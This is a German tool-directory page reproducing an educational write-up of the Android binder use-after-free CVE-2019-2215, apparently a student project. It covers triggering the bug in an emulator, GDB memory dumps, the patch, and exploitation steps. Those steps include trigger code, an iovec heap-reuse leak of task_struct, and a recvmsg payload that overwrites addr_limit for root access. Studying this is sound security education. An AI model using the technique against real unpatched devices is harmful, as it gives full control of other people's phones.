Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
AndroidKernelVulnerability — Auslösen und Analysieren der Android-Kernel-Sicherheitslücke CVE-2019-2215 | Kitploit
Tools/GitHubGitHub/sharif-dev/androidkernelvulnerability
Android-SicherheitPrivilege EscalationStatische AnalyseDynamische Analyse (Sandboxing)ExploitationLernen & BildungBinary-ExploitationLabs & Praxis

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
GitHub
sharif-dev/androidkernelvulnerability

AndroidKernelVulnerability

Auslösen und Analysieren der Android-Kernel-Sicherheitslücke CVE-2019-2215

Repository anzeigen
72196vor 4 JahrenVon Kitploit geprüft

Android Kernel-Schwachstelle

Übersicht

Im November 2017 wurde ein Use-After-Free Fehler im Linux-Kernel durch das syzkaller -System entdeckt. Im Februar 2018 wurde dies in einigen Linux-Kernels und Android-Versionen gepatcht.

Dieser Fix wurde nie in die Android Monthly Security Bulletins aufgenommen, sodass er in vielen neu veröffentlichten Geräten wie Pixel und Pixel2 nicht gepatcht wurde.

Im September 2019 wurde Android von Project Zero über die Sicherheitsauswirkungen dieses Fehlers informiert. Daraufhin vergab Android die Bezeichnung CVE-2019-2215 für diese Schwachstelle, um sie formaler und bekannter zu machen.

CVE-2019-2215 ist ein Use-After-Free in binder.c, der die Privilegieneskalation (Erlangen von Root-Zugriff) aus einer Android-Anwendung heraus ermöglicht. Es ist keine Benutzerinteraktion erforderlich, um diese Schwachstelle auszunutzen. Es ist lediglich die Installation einer bösartigen lokalen Anwendung erforderlich.

Hier werden wir diese Android-Kernel-Sicherheitslücke detaillierter vorstellen und diese Schwachstelle nutzen, um Root-Zugriff (Privilegieneskalation) auf dem gesamten Android-Gerät zu erlangen.

Wir werden diesen Proof of Concept (PoC) verwenden:

https://github.com/cloudfuzz/android-kernel-exploitation

Auslösen der Schwachstelle

Wir zeigen Ihnen zunächst, wie Sie diese Schwachstelle auf einem Android-Emulator auslösen und einen Kernel-Absturz verursachen können. Um zu sehen, wie gefährlich es sein kann, verwenden wir dann den PoC, um Root-Zugriff auf dem simulierten Android-Gerät zu erlangen. Anschließend analysieren wir den Kernel-Code, um die Ursache zu finden (statische und dynamische Analyse).

Nach der Analyse werden wir sehen, wie wir den Root-Zugriff erlangt haben. Schließlich sehen wir, wie diese Schwachstelle durch Patches abgemildert wird.

Um durch Auslösen dieser Schwachstelle einen Kernel-Absturz zu verursachen, gehen wir wie folgt vor:

  1. Zunächst benötigen Sie ein Linux-Betriebssystem mit installiertem 'gdb' und 'python'.
  2. Klonen Sie das PoC-Repository. (https://github.com/cloudfuzz/android-kernel-exploitation)
  3. Installieren Sie den Android-Emulator und das Android NDK (durch Installation von Android Studio).
  4. Klonen Sie den Android-Kernel-Quellcode. (Der 'q-goldfish-android-goldfish-4.14-dev'-Zweig wird verwendet.)
  5. Dieser Kernel ist bereits gepatcht; wir ändern ihn, um die Schwachstelle im Kernel-Code wieder einzuführen.
  6. Jetzt sollten wir den Kernel aus dem Quellcode bauen. Wir bauen unseren Kernel mit KASan.
  7. Wir booten den gebauten Kernel und führen unseren Emulator damit aus.
  8. Dann lösen wir mit 'trigger.cpp' im PoC-Repository einen Absturz aus (mit dem Befehl 'adb').
  9. Wir verwenden 'root-me.py' im PoC und den Befehl 'gdb', um Root-Zugriff auf dem emulierten Gerät zu erlangen.

Sehen Sie sich das folgende Video an:

[video]

Statische Analyse

In diesem (und im nächsten) Abschnitt werden wir verstehen, warum der Absturz passiert, indem wir statische und dynamische Analyse verwenden.

Hier werden wir den Kernel-Code (statische Analyse) analysieren, um das Problem zu verstehen. In crash_report.txt befindet sich der Bericht von KASan, der besagt, dass es sich um einen Use-After-Free-Fehler handelt. Das bedeutet, dass ein Objekt im Heap allokiert wurde (und wir eine Referenz darauf haben), dann haben wir das Objekt aus dem Heap freigegeben und anschließend fälschlicherweise über eine Referenz darauf zugegriffen. In diesem Bericht wird der Stacktrace dieser drei Phasen ausgegeben.

Wenn Sie sich an oben erinnern, haben wir 'trigger.cpp' im PoC verwendet.

Hier ist der Hauptcode von trigger.cpp:``` int main() { //1 int fd, epfd; //2 struct epoll_event event = {.events = EPOLLIN}; //3 fd = open("/dev/binder", O_RDONLY); //4 epfd = epoll_create(1000); //5 epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event); //6 ioctl(fd, BINDER_THREAD_EXIT, NULL); }

root@kitploit:~
Sehen wir uns an, was 'trigger.cpp' macht.

In Android (wie auch in anderen Unix-basierten Betriebssystemen) gibt es Prozesse. Jedes Programm, das wir ausführen, erzeugt einen (oder mehrere) Prozesse, und diese Prozesse werden vom Betriebssystem verwaltet. Das Betriebssystem kann zwischen ihnen wechseln (Multitasking) oder einen Prozess beenden usw. Aus Sicherheitsgründen sind Prozesse standardmäßig voneinander isoliert.

In manchen Fällen muss ein Prozess Daten mit einem anderen Prozess austauschen. Dies wird als Interprozesskommunikation (IPC) bezeichnet. Es gibt mehrere Möglichkeiten für Prozesse, unter Linux zu kommunizieren. Android hat einen spezifischen IPC-Mechanismus namens **'Binder'** eingeführt. Binder ist ein Kernel-Treiber zur Erleichterung der Interprozesskommunikation.

In Android kann IPC entweder durch direkten Aufruf einiger Kernel-Methoden (die meisten befinden sich in drivers/binder.c) oder durch die Verwendung von High-Level-Implementierungen (z.B. in Java) erfolgen.






![alt_text](https://raw.githubusercontent.com/sharif-dev/AndroidKernelVulnerability/master/images/binder.jpg)


Um **binder** zu verwenden, müssen wir das Kernel-Binder-Modul öffnen. Dies geschieht in Zeile 3 von trigger.cpp. Dann haben wir einen Dateideskriptor-Zeiger. Mit diesem fd können der Kernel-Initiator und die Empfänger der IPC identifiziert werden.

Alle Interaktionen mit dem Treiber erfolgen über eine kleine Menge von **'ioctl'**-Befehlen (BINDER_THREAD_EXIT, BINDER_WRITE_READ, ...).

Mehr über Binder: [link1](https://www.nds.ruhr-uni-bochum.de/media/attachments/files/2012/03/binder.pdf), [link2](http://rts.lab.asu.edu/web_438/project_final/CSE_598_Android_Architecture_Binder.pdf)

Unter Linux gibt es ein Konzept namens '**Ereignis-Polling**'. Die '**epoll**'-API wird verwendet, wenn wir mehrere Dateideskriptoren überwachen möchten (Dateideskriptoren sind das, was wir beim Öffnen eines Treibers oder bei der Arbeit mit E/A haben usw.).

**epoll** ist eine Kernel-Struktur mit zwei wichtigen Feldern.



*   interest list = Liste der Dateideskriptoren, die wir überwachen möchten.
*   ready list = Liste der Dateideskriptoren, die für E/A bereit sind.

Um Ereignis-Polling zu verwenden, erstellen wir zuerst ein epoll (Zeile 4), dann fügen wir ein Ereignis (&event), das mit einem Dateideskriptor (**fd**) verknüpft ist, zu unserem erstellten epoll (**epfd**) hinzu oder löschen es (EPOLL_CTL_ADD), indem wir die **epoll_ctl**-Methode des Kernels aufrufen.

=> `epoll_event event` ist ein Ereignis, das ausgelöst wird, wenn die zugehörige Datei (fd) für Lesevorgänge verfügbar ist.

Jetzt verstehen wir, was **trigger.cpp** macht (kein Grund, zu tief einzusteigen!). Es öffnet das **binder**-Modul, erstellt ein **epoll**, um darauf zu lauschen, wenn es bereit ist. Dann beenden wir in Zeile 6 den Binder, den wir in Zeile 3 gestartet haben.


#### Zuweisung:

Durch Aufruf von open() rufen wir tatsächlich **open_binder()** auf ( open()-Implementierung in binder.c ), in open_binder() wird eine neue **'binder_proc'**-Struktur erstellt und:

   ` fd->pricate_data = binder_proc`

Durch Aufruf von **epoll_create()** wird eine neue epoll-Struktur erstellt und einer Warteschlangenstruktur hinzugefügt.






![alt_text](https://raw.githubusercontent.com/sharif-dev/AndroidKernelVulnerability/master/images/event_poll.jpg)


Durch Aufruf von **epoll_ctrl(epdf, ADD, fd, event)** wird ein neues **ep_item** erstellt, **fd** (zu überwachender Dateideskriptor) wird diesem **ep_item** zugeordnet und es wird in den **Rot-Schwarz-Baum** des event_poll (eine Datenstruktur in ep zum Speichern von ep_items) eingefügt. Es ruft auch **ep_item_poll()** auf, diese Methode behandelt die Zuordnung der Callback-Funktion zum ep_item.

Es wird eine neue **binder_thread**-Struktur erstellt (**Zuweisung erfolgt hier**), die mit dem **binder_proc** (oben erstellt) verknüpft wird, dann wird eine **epoll_entry**-Struktur erstellt, die zwei Listen hat: **epoll_entry->wait** und **epoll_entry->whead**, beide Listen haben einen Zeiger auf den zuvor erstellten **binder_thread**.

Dann wird **epoll_entry** mit ep_item verknüpft (**ep_item->pwqlist** ist eine Liste, die dieses epoll_entry enthält).





![alt_text](https://raw.githubusercontent.com/sharif-dev/AndroidKernelVulnerability/master/images/even_poll.jpg)



#### Freigabe:

Durch Aufruf von **ioctl(fd, ...)** wird über fd->private_data auf **binder_proc** zugegriffen, dann wird die **binder_thread**-Struktur aus dem Speicher **freigegeben**.


#### Nutzung:

Wenn unser aktueller Prozess beendet wird, wird **epoll_ctl(epfd, DEL, fd, event)** aufgerufen.

Es ruft **ep_remove(event_poll, ep_item)** auf. Diese Methode holt das **epoll_entry** aus **ep_item->pwqlist**, dann holt sie die Warteliste von **ep_item (ep_tem->wait)**, es ist eine verkettete Liste, und es soll eines der Elemente dieser Warteliste entfernen.

Es wird folgender Code verwendet (Pseudocode wird verwendet):```
entry = wait->entry;
entry.next.prev = entry.prev;
entry.prev.next = entry.next;

Hier wait->entry ist ein Zeiger auf binder_thread, der aus dem Speicher entfernt wurde! Es handelt sich also um einen Use-After-Free und verursacht einen Fehler!!

  • Oben haben wir Codes verwendet, die ähnlich zu den tatsächlichen Kernel-Codes sind; sie können sich in einigen Details unterscheiden. (in einigen Fällen wird binder_thread anstelle von binder_thread->wait verwendet)

Zusammenfassung:

Wir haben einen event_poll erstellt, der einen red_black_tree enthält. Jeder Knoten ist ein ep_item, das ein Feld mit einer Liste von epoll_entry hat. Jeder epoll_entry hat zwei Zeiger auf die binder_thread-Struktur (wait, whead). Durch Aufrufen von ioctl() haben wir den binder_thread aus dem Speicher freigegeben. Beim Beenden wird dann auf diese Struktur über einen Zeiger zugegriffen, der noch verfügbar war!

Dynamische Analyse

Dynamische Analyse ist das Testen und Bewerten eines Programms durch Ausführen von Daten in Echtzeit, um Fehler in einem Programm während seiner Ausführung zu finden.

Schritte:

  1. Erstelle den Android-Kernel ohne KASan. Wir bauen ihn ohne KASAN, um Schreib- und Unlink-Operationen zu überwachen und zu sehen, was nach der Unlink-Operation tatsächlich passiert.

  2. Boote den Emulator mit dem neu erstellten Kernel

  3. Starte den Emulator

  4. Verwende GDB, um sich an die QEMU-Instanz anzuhängen.

  5. Erstelle den Vulnerability-Trigger und schiebe ihn auf das virtuelle Gerät.

  6. Setze Breakpoints in GDB

    Lade das benutzerdefinierte Python-Skript (dynamic-analysis.py im Repo) : Um Funktionsaufrufe zu verfolgen und den binder_thread-Strukturchunk vor und nach seiner Freigabe auszudumpen. Dasselbe für die binder_thread-Struktur vor und nach der Unlink-Operation.

    In dieser Datei löschen wir zuerst alle Breakpoints und setzen dann 2 Breakpoints (BP). Das erste Symbol ist „binder_free_thread“ (verfolgt die Funktion binder_free_thread), bevor der binder_thread freigegeben wird. Die Stoppfunktion wird aufgerufen; Parameter und Symbol werden mit (gb.write(....) ) angezeigt. Dann wird die Callback-Methode (wir setzen sie auf set_dump_binder_thread ) aufgerufen. In dieser Funktion wird binder_thread_address in unserer globalen Variable gesetzt und gdb.execute sendet alle von einem Befehl erzeugten Ausgaben an die Standardausgabe von GDB.

    Das zweite Symbol ist „remove_wait_queue“ (verfolgt die Funktion remove_wait_queue). Die Parameter, die wir beobachten möchten, sind „wq_head“, „wq_entry“ und für den Exit wait.c:52 wird ein Breakpoint gesetzt. Ihre Callback-Funktion ist dump_binder_thread . Diese Breakpoints zeigen, was vor und nach der Unlink-Operation passiert.

ergebnis:

  • erster Teil des Ergebnisses:
root@kitploit:~
binder_free_thread(thread=0xffff88800c18f200)(enter)
0xffff88800c18f200:	0xffff88806793c000	 0x0000000000000001
0xffff88800c18f210:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f220:	0xffff88800c18f220	 0xffff88800c18f220
0xffff88800c18f230:	0x0000002000001b35	 0x0000000000000001
0xffff88800c18f240:	0x0000000000000000	 0xffff88800c18f248
0xffff88800c18f250:	0xffff88800c18f248	 0x0000000000000000
0xffff88800c18f260:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f270:	0x0000000000000003	 0x0000000000007201
0xffff88800c18f280:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f290:	0x0000000000000003	 0x0000000000007201
0xffff88800c18f2a0:	0x0000000000000000	 0xffff88805c05cae0
0xffff88800c18f2b0:	0xffff88805c05cae0	 0x0000000000000000
0xffff88800c18f2c0:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f2d0:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f2e0:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f2f0:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f300:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f310:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f320:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f330:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f340:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f350:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f360:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f370:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f380:	0x0000000000000000	 0x0000000000000001
0xffff88800c18f390:	0xffff88806d4bb200

in unserem Python-Code hatten wir die folgenden Codes:``` gdb.write ( "{function}({param})(enter)\n".format( function=self.function_name, param=params ) )

root@kitploit:~
und es ist die binder_free_thread-Funktion, also ist der Parameter für diese Funktion ein Pointer auf binder_thread:```
static void binder_free_thread(struct binder_thread *thread)
{
        [...]
        kfree(thread);
}

im Ergebnis hatten wir(binder_free_thread(thread=0xffff88800c18f200)(enter)).

Die Zeilen danach zeigen das Ergebnis der Ausführung. Mit dem folgenden Befehl erhalten wir den Offset von binder_thread.wait:``` p offsetof(struct binder_thread, wait)

root@kitploit:~
das Ergebnis ist 0xa0 und wenn wir wait.head anstelle von wait im Befehl verwenden, wird das Ergebnis 0xa8 sein und es enthält `0xffff88805c05cae0````
0xffff88805c05cae0 is pointer to eppoll_entry->wait.entry which is of type struct list_head
  • zweiter Teil des Ergebnisses
root@kitploit:~
remove_wait_queue(wq_head=0xffff88800c18f2a0, wq_entry=0xffff88805c05cac8)(enter)
0xffff88800c18f200:	0xffff88800c18f600	 0x0000000000000001
0xffff88800c18f210:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f220:	0xffff88800c18f220	 0xffff88800c18f220
0xffff88800c18f230:	0x0000002000001b35	 0x0000000000000001
0xffff88800c18f240:	0x0000000000000000	 0xffff88800c18f248
0xffff88800c18f250:	0xffff88800c18f248	 0x0000000000000000
0xffff88800c18f260:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f270:	0x0000000000000003	 0x0000000000007201
0xffff88800c18f280:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f290:	0x0000000000000003	 0x0000000000007201
0xffff88800c18f2a0:	0x0000000000000000	 0xffff88805c05cae0
0xffff88800c18f2b0:	0xffff88805c05cae0	 0x0000000000000000
0xffff88800c18f2c0:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f2d0:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f2e0:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f2f0:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f300:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f310:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f320:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f330:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f340:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f350:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f360:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f370:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f380:	0x0000000000000000	 0x0000000000000001
0xffff88800c18f390:	0xffff88806d4bb200

In remove_wait_queue(wq_head=0xffff88800c18f2a0, wq_entry=0xffff88805c05cac8)(enter) ist wq_head die Adresse von binder_thread.wait und wq_entry sind die Daten von wait.head.

Danach erfolgt die Unlink-Operation.

  • Dritter Teil des Ergebnisses:
root@kitploit:~
Breakpoint 3 at 0xffffffff802aa5be: file /home/ashfaq/workshop/android-4.14-dev/goldfish/kernel/sched/wait.c, line 53.
remove_wait_queue_wait.c:52(exit)
0xffff88800c18f200:	0xffff88800c18f600	 0x0000000000000001
0xffff88800c18f210:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f220:	0xffff88800c18f220	 0xffff88800c18f220
0xffff88800c18f230:	0x0000002000001b35	 0x0000000000000001
0xffff88800c18f240:	0x0000000000000000	 0xffff88800c18f248
0xffff88800c18f250:	0xffff88800c18f248	 0x0000000000000000
0xffff88800c18f260:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f270:	0x0000000000000003	 0x0000000000007201
0xffff88800c18f280:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f290:	0x0000000000000003	 0x0000000000007201
0xffff88800c18f2a0:	0x0000000000000000	 0xffff88800c18f2a8
0xffff88800c18f2b0:	0xffff88800c18f2a8	 0x0000000000000000
0xffff88800c18f2c0:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f2d0:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f2e0:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f2f0:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f300:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f310:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f320:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f330:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f340:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f350:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f360:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f370:	0x0000000000000000	 0x0000000000000000
0xffff88800c18f380:	0x0000000000000000	 0x0000000000000001
0xffff88800c18f390:	0xffff88806d4bb200

Der hervorgehobene Teil ist aufgrund von diesem. Das Ergebnis ist nach der Unlink-Operation und wir sehen, dass zum Unlinking die Adresse (0xffff88800c18f2a0 + 0x8) in next und previous geschrieben wird.

es bedeutet: (Zeiger auf binder_thread->wait.head) = binder_thread->wait.head.next = binder_thread->wait.head.prev

Ausnutzen der Schwachstelle

In diesem Teil zeigen wir, wie wir diesen Fehler nutzen können, um Root-Zugriff zu erlangen.

Erinnern Sie sich von oben, wir hatten eine binder_thread-Struktur, die freigegeben und dann über einen Zeiger erneut verwendet wurde. Dies ist der Code der binder_thread-Struktur:``` struct binder_thread { struct binder_proc proc; struct rb_node rb_node; struct list_head waiting_thread_node; int pid; int looper; / only modified by this thread*/ bool looper_need_return; /* can be written by other thread*/ struct binder_transaction *transaction_stack; struct list_head todo; bool process_todo; struct binder_error return_error; struct binder_error reply_error; wait_queue_head_t wait; struct binder_stats stats; atomic_t tmp_ref; bool is_dead; struct task_struct *task; };

root@kitploit:~
Eines der Felder ist der Zeiger **task_struct**, diese Struktur hat ein Feld namens **addr_limit**.

Wenn wir auf eine Adresse in einem Prozess zugreifen möchten, wird geprüft, ob sich die Adresse im **Userspace** befindet oder nicht. Befindet sie sich im **Kernelspace**, sollte dieser Zugriff blockiert werden.

Diese Prüfung erfolgt durch Vergleich unserer Adresse mit **addr_limit**. Wenn unsere Adresse kleiner als **addr_limit** ist, haben wir gültigen Zugriff.

**addr_limit** trennt eigentlich Userspace und Kernelspace. Wenn wir dieses Feld in **task_struct** ändern, haben wir vollen Zugriff auf den Kernelspace und können alles tun!

Hier sind zwei Schritte für den Exploit:

1. Finden der Adresse von task_struct im Kernelspace
2. Ändern des addr_limit in task_struct

#### Adresse von task_struct finden

Im Kernel können wir vektoriertes I/O durchführen. Das bedeutet, dass wir mehr als einen Datenblock von oder zu einem Dateideskriptor (Datei, Socket usw.) schreiben oder lesen können.

Vektoriertes I/O erfolgt mit den Methoden **writev**, **readv**, **recvmsg** und der Struktur **iovec**.```
struct iovec 
{ 
     void __user *iov_base; /* BSD uses caddr_t (1003.1g requires void *) */ \
     __kernel_size_t iov_len; /* Must be size_t (1003.1g) */ \
};

Durch die Verwendung von vektorieller E/A führen wir E/A-Operationen auf einem Array von Puffern (iovec) durch. Jeder iovec hat einen Zeiger auf einen Puffer (iov_base) und die Größe des Puffers (iov_len).

Vektorisierte E/A

Wenn wir zum Beispiel ein Array von Puffern in eine Datei (fd) schreiben wollen, rufen wir auf

writev(fd, iovecStack, count)

Diese Methode (wie readv und recvmsg) kopiert zunächst das iovec-Array (iovecStack) in den Kernelspace und liest dann aus diesen Puffern und schreibt in fd.

  • Der erste Teil (Kopieren des iovec-Arrays in den Kernelspace) ist bei allen drei Methoden ähnlich.

Wir können Puffer mit pipe lesen und schreiben. Pipe ist eine Struktur, die uns zwei Dateideskriptoren gibt, einen zum Lesen und einen zum Schreiben. Pipe hat eine Länge in Bytes. Wenn ein Prozess mehr in eine Pipe schreibt, als ihre Länge beträgt, blockiert die Pipe in diesem Prozess und wartet darauf, dass ein anderer Prozess aus dieser Pipe liest (unter Verwendung des Lese-Deskriptors dieser Pipe).

pipe in linux

Der Kernel versucht, Speicher (für eine Struktur) entsprechend seiner Größe zuzuweisen. Wenn wir zum Beispiel die binder_thread-Struktur aus dem Speicher freigegeben haben (siehe statische Analyse) und danach eine Struktur mit einer ähnlichen Größe wie binder_thread haben, besteht eine gute Chance, dass sie an derselben Stelle wie die freigegebene binder_thread zugewiesen wird.

Zuerst erstellen wir einen iovecStack (Array von iovec-Strukturen) mit einer ähnlichen Größe wie binder_thread.

Dann geben wir binder_thread aus dem Speicher frei (siehe statische Analyse ‘free’-Teil).

Dann rufen wir writev() auf diesem iovecStack auf. Der erste Teil dieser Methode kopiert iovecStack in den Kernelspace.

Es ist wahrscheinlicher, dass unser iovecStack an derselben Stelle wie die freigegebene binder_thread zugewiesen wird.

Wenn wir genügend iovec im iovecStack haben, sieht der Speicher an der Position von binder_thread wie folgt aus:

alt_text

Sie sehen, dass iovecStack[10].iov_base und iovecStack[10].iov_len und iovecStack[11].iov_base an derselben Stelle wie die wait.lock, wait.head.next und wait.head.prev-Felder von binder_thread liegen.

Im ‘use’-Teil der statischen Analyse haben wir gesehen, dass der Absturz aufgrund eines Zugriffs auf den wait-Teil von binder_thread während des Entfernungsprozesses (Entfernen eines Elements aus einer verketteten Liste) auftrat.

Während des Entfernungsprozesses wird wait.head ausgehängt, und seine next- und prev-Felder würden auf das wait-Feld von binder_thread zeigen (Aushängen).

alt_text

Bevor der zweite Teil von writev stattfindet (Schreiben von den iovecs in die Datei), wenn wir den Entfernen-Prozess ausführen, werden iovecStack[10].iov_len und iovecStack[11].iov_base durch eine Kerneladresse überschrieben. Wenn dann der Rest von writev ausgeführt wird und es iovecStack[11] verarbeiten will, liest es von iovecStack[11].iov_base (=Adresse von wait in binder_thread) eine Länge von iovecStack[11].iov_len Daten.

Wenn iovecStack[11].iov_len ausreicht, lesen wir vom wait-Feld bis zum task_struct-Feld von binder_thread, sodass wir den task_struct-Zeiger erhalten.

  • Während des free-Teils in der statischen Analyse wurde nicht der gesamte binder_thread freigegeben und Teile wie task_struct blieben erhalten (wir haben dies der Einfachheit halber nicht erwähnt).

Um den task_struct-Zeiger zu erhalten, gehen wir wie folgt vor:

  1. Wir erstellen eine Pipe und einen Stapel von iovecs.
  2. Erstellen binder_thread und event_poll und verknüpfen sie (wie wir es für die statische Analyse getan haben).
  3. Forke einen Kindprozess (jetzt haben wir Eltern- und Kindprozess).
  4. Im Elternprozess writev aufrufen; es importiert iovecStack in den Kernelspace (bevor es fortfährt, blockieren wir writev, indem wir z. B. Junk-Daten in die Pipe schreiben).
  5. Im Kindprozess die Unlink-Operation durchführen. Dann Junk-Daten lesen, damit der Elternprozess benachrichtigt wird.
  6. Im Elternprozess den Rest von writev() fortsetzen und aus den iovecs im Kernelspace lesen und in die Datei schreiben.
  7. Jetzt enthält die Datei das Lesen von wait abwärts des binder_thread im Kernelspace (task_struct ist 0xe8 Bytes nach dem wait-Feld).

siehe exploit.cpp im Repository.

Ändern von addr_limit in task_struct

Jetzt haben wir die Adresse von task_struct im Kernelspace (task_ptr).

Hier verwenden wir socket_pair anstelle von pipe. Und wir verwenden recvmsg() zum Lesen vom Socket und Schreiben in die iovecs.

Schritte:

  1. Zuerst führen wir Initialisierungen wie oben durch.
  2. Forke einen Kindprozess.
  3. Schreibe etwas Junk in socket_pair.
  4. Im Elternprozess rufe recvmsg() auf:
    1. Es importiert iovecs in den Kernelspace.
    2. Es liest dann den Junk und wartet (blockiert) auf den Empfang weiterer Daten vom Socket.
  5. Im Kindprozess führe die unlink-Operation aus.
  6. Im Kindprozess schreibe diese Daten in den Socket:
root@kitploit:~

(Note: The last line ends with a colon and no further text in the chunk. I have preserved that exactly.)```
static uint64_t finalSocketData[] = {
        	0x1,                	// iovecStack[10].iov_len
        	0x41414141,         	// iovecStack[11].iov_base
        	0x8 + 0x8 + 0x8 + 0x8,  // iovecStack[11].iov_len
        	(uint64_t) ((uint8_t *) task_ptr + OFFSET_OF_ADDR_LIMIT_IN_TASK_STRUCT), // iovecStack[12].iov_base
        	0xFFFFFFFFFFFFFFFE  	// addr_limit value
	}; 

Nach dem Schreiben beginnt recvmsg(), vom Socket zu lesen und in iovecStack zu schreiben. Aufgrund von Datenmüll hat es bis iovecStack[10] geschrieben.

Also beginnt es, finalSocketData in iovecStack[12] zu schreiben, erhält die Adresse von iovecStack[12].iov_base, die aufgrund der Unlink-Operation die Adresse von** wait in binder_thread **ist, iovecStack[12].iov_len ist auf 4 Bytes gesetzt, also schreibt es:

  • 0x1 into iovecStack[10].iov_len
  • 0x41414141 into iovecStack[11].iov_base
  • 0x8 + 0x8 + 0x8 + 0x8 into iovecStack[11].iov_len
  • pointer_to_addr_limit into iovecStack[12].iov_base

Jetzt wurden 4 Bytes in iovecStack[11] geschrieben, also geht recvmsg() zu iovecStack[12], um den Rest von finalSocketData zu schreiben:

schreibt 0xFFFFFFFFFFFFFFFE in die Adresse in** iovecStack[12].iov_base** die auf pointer_to_addr_limit gesetzt ist. Das bedeutet, dass recvmsg() addr_limit auf 0xFFFFFFFFFFFFFFFE ändert (nicht 0xFFFFFFFFFFFFFFFF aufgrund einiger Probleme mit arm64).

Nun erweitert sich der Benutzerbereich auf annähernd den gesamten Kernel-Bereich! (und kann alles tun!!)

Patch

binder_poll() übergibt die thread->wait-Warteschlange, auf die für Arbeit gewartet werden kann. Wenn ein Thread, der epoll verwendet, explizit mit BINDER_THREAD_EXIT beendet wird, wird die Warteschlange freigegeben, aber sie wird niemals aus der entsprechenden epoll-Datenstruktur entfernt. Wenn der Prozess anschließend beendet wird, versucht der epoll-Bereinigungscode, auf die Warteliste zuzugreifen, was zu einem Use-After-Free führt.

Verhindern Sie dies, indem Sie POLLFREE verwenden, wenn der Thread beendet wird.

wir hatten diesen Code:``` static int binder_thread_release(struct binder_proc *proc, struct binder_thread *thread) { . . . int active_transactions = 0; . . . binder_thread_dec_tmpref(thread); return active_transactions; }

root@kitploit:~
Diese Zeilen wurden zum Quellcode hinzugefügt:

<pre>
static int binder_thread_release(struct binder_proc *proc,
binder_thread *thread)
{
	.
	.
	.
	/*
	 * If this thread used poll, make sure we remove the waitqueue
	 * from any epoll data structures holding it with POLLFREE.
	 * waitqueue_active() is safe to use here because we're holding
	 * the inner lock.
	*/
	  if ((thread->looper & BINDER_LOOPER_STATE_POLL) && waitqueue_active(&thread->wait)) {
		<b>wake_up_poll(&thread->wait, EPOLLHUP | POLLFREE);</b>
	  }
	  binder_inner_proc_unlock(thread->proc);
	  /*
	   * This is needed to avoid races between wake_up_poll() above and
	   * and ep_remove_waitqueue() called for other reasons (eg the epoll file
	   * descriptor being closed); ep_remove_waitqueue() holds an RCU read
	   * lock, so we can be sure it's done after calling synchronize_rcu().
	  */
	  if (thread->looper & BINDER_LOOPER_STATE_POLL)
		synchronize_rcu();
	  .
	  .
	  .
}
</pre>
  
siehe vollständigen Code [hier](https://code.woboq.org/linux/linux/drivers/android/binder.c.html#binder_thread_release) 


# Definitionen


### Kernel

Ein Betriebssystem ist eine Softwareschicht, die dafür verantwortlich ist, die gesamte Hardware effizienter arbeiten zu lassen und eine Infrastruktur aufzubauen, auf deren Grundlage die von Ihnen verwendeten Anwendungen funktionieren können; sein Kern ist der Kernel.


### Exploitation

Die Idee hinter Exploitation ist einfach: Software hat Fehler, und Fehler führen dazu, dass Software sich falsch verhält oder eine Aufgabe, die sie ordnungsgemäß ausführen soll, inkorrekt ausführt; einen Fehler auszunutzen bedeutet, dieses Fehlverhalten in einen Vorteil für Angreifer zu verwandeln.

Die ausnutzbaren Fehler werden als Sicherheitslücken bezeichnet.


### Privilegiert und Unprivilegiert

Ein privilegierter Benutzer oder Prozess hat vollen Zugriff auf das Gerät.

Die meisten Befehlssatzarchitekturen bieten mindestens zwei Ausführungsmodi:

